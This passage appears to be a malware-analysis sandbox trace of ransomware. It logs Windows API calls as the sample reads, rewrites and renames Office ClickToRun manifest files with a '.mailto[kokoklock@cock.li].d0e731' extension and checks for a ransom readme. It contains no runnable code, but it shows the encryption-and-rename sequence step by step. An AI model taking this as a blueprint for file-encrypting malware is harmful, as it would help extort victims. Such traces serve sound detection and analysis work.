Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.037] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fc30) returned 1 [0074.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.038] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.038] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.038] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5dc0) returned 1 [0074.038] RtlExitUserThread (Status=0x1) Thread: id = 603 os_tid = 0x1328 [0073.617] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x20 [0073.618] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.618] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x930 [0073.618] GetFileSizeEx (in: hFile=0x930, lpFileSize=0x17b3f9c0 | out: lpFileSize=0x17b3f9c0*=36750) returned 1 [0073.618] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x8f8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.618] ReadFile (in: hFile=0x930, lpBuffer=0x17b3f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x17b3f994*, lpNumberOfBytesRead=0x17b3f990*=0x4, lpOverlapped=0x0) returned 1 [0073.833] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5a0 [0073.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e460 [0073.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e2f8 [0073.833] NtQuerySystemTime (in: CurrentTime=0x17b3f96c | out: CurrentTime=0x17b3f96c*=132121176317221867) returned 0x0 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x48a0842f [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x6ca5dba3 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xf3e7f497 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x259fae93 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x1eff9e37 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x26fd4e42 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x3e5591bc [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x659b8cfc [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x550e92e7 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xe574958d [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x6e8e96c7 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x8ac0c6c8 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x6d84fbd2 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xdede924b [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xb065535 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x133799c3 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x892cb361 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x7a1867ed [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x2d128ed6 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x7c170792 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x2f6ab8a0 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x52a7be5e [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xf01c52cd [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x434fe080 [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xf99e113c [0073.834] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xcf086901 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x20df3bd2 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0xe49707e7 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x429001f4 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x6ec43c29 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x95add789 [0073.835] RtlRandom (in: Seed=0x17b3f978 | out: Seed=0x17b3f978) returned 0x10a0bd19 [0073.847] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.847] ReadFile (in: hFile=0x930, lpBuffer=0x34aa4b0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17b3f944, lpOverlapped=0x0 | out: lpBuffer=0x34aa4b0*, lpNumberOfBytesRead=0x17b3f944*=0x4096, lpOverlapped=0x0) returned 1 [0073.916] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0073.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0073.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0073.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0073.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e410) returned 1 [0073.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.917] WriteFile (in: hFile=0x930, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17b3f944, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x17b3f944*=0x4096, lpOverlapped=0x0) returned 1 [0073.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0073.917] SetFilePointerEx (in: hFile=0x930, liDistanceToMove=0x8f8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.917] WriteFile (in: hFile=0x930, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17b3f97c, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17b3f97c*=0x20, lpOverlapped=0x0) returned 1 [0073.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa4b0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x341e118*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x341e118*, lpNumberOfBytesWritten=0x17b3f990*=0x8, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x17b3f9a8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x17b3f9a8*, lpNumberOfBytesWritten=0x17b3f990*=0x4, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17b3f990*=0x4, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17b3f990*=0x6c, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x341e460*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x341e460*, lpNumberOfBytesWritten=0x17b3f990*=0x20, lpOverlapped=0x0) returned 1 [0073.918] WriteFile (in: hFile=0x930, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17b3f990, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17b3f990*=0x4, lpOverlapped=0x0) returned 1 [0073.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e460) returned 1 [0073.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e118) returned 1 [0073.919] CloseHandle (hObject=0x930) returned 1 [0073.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x341f9c8 [0073.919] wcscpy (in: _Dest=0x341f9c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" [0073.919] wcscat (in: _Dest=0x341f9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.919] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.027] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f9c8) returned 1 [0074.028] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.028] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.028] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.028] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.028] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.028] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0074.028] RtlExitUserThread (Status=0x1) Thread: id = 604 os_tid = 0x132c [0073.620] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x20 [0073.621] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.621] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x934 [0073.621] GetFileSizeEx (in: hFile=0x934, lpFileSize=0x17bbf750 | out: lpFileSize=0x17bbf750*=6158) returned 1 [0073.621] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x180a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.621] ReadFile (in: hFile=0x934, lpBuffer=0x17bbf724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x17bbf724*, lpNumberOfBytesRead=0x17bbf720*=0x4, lpOverlapped=0x0) returned 1 [0073.819] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5a0 [0073.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e438 [0073.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e2d0 [0073.819] NtQuerySystemTime (in: CurrentTime=0x17bbf6fc | out: CurrentTime=0x17bbf6fc*=132121176317065406) returned 0x0 [0073.819] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x6a8b7262 [0073.819] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xc762d36e [0073.819] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x919a5251 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x3bb249ba [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x69c41725 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xa64802b7 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xc927e4ae [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x81fb274c [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xcfc2760e [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x4b93c2f4 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x34dd7e31 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x22fa8e37 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xdffbe2a7 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x42984bad [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xc8612f1a [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x983ffd47 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x8d34ef1a [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xaceb92a7 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x3460da [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xf37320e6 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xd4f7e4d2 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x301c8ba1 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x12dc0824 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x6ddf923c [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xa1d6311e [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x8dd0e97a [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x8cc3af69 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xbaa90afc [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0x888d4c1e [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xfc68da93 [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xe65e867e [0073.820] RtlRandom (in: Seed=0x17bbf708 | out: Seed=0x17bbf708) returned 0xe5e14243 [0073.833] ReadFile (in: hFile=0x934, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x17bbf6fc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x17bbf6fc*=0x180e, lpOverlapped=0x0) returned 1 [0073.914] SetFilePointerEx (in: hFile=0x934, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x17bbf6c4 | out: lpNewFilePointer=0x0) returned 1 [0073.914] WriteFile (in: hFile=0x934, lpBuffer=0x34a6410*, nNumberOfBytesToWrite=0x180e, lpNumberOfBytesWritten=0x17bbf6f8, lpOverlapped=0x0 | out: lpBuffer=0x34a6410*, lpNumberOfBytesWritten=0x17bbf6f8*=0x180e, lpOverlapped=0x0) returned 1 [0073.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e410) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17bbf6f4, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17bbf6f4*=0x20, lpOverlapped=0x0) returned 1 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a6410) returned 1 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x341e0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x341e0f0*, lpNumberOfBytesWritten=0x17bbf720*=0x8, lpOverlapped=0x0) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x17bbf738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x17bbf738*, lpNumberOfBytesWritten=0x17bbf720*=0x4, lpOverlapped=0x0) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17bbf720*=0x4, lpOverlapped=0x0) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17bbf720*=0x6c, lpOverlapped=0x0) returned 1 [0073.915] WriteFile (in: hFile=0x934, lpBuffer=0x341e438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x341e438*, lpNumberOfBytesWritten=0x17bbf720*=0x20, lpOverlapped=0x0) returned 1 [0073.916] WriteFile (in: hFile=0x934, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17bbf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17bbf720*=0x4, lpOverlapped=0x0) returned 1 [0073.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e438) returned 1 [0073.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0073.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0f0) returned 1 [0073.916] CloseHandle (hObject=0x934) returned 1 [0073.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x342c3a0 [0073.916] wcscpy (in: _Dest=0x342c3a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" [0073.916] wcscat (in: _Dest=0x342c3a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.916] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All 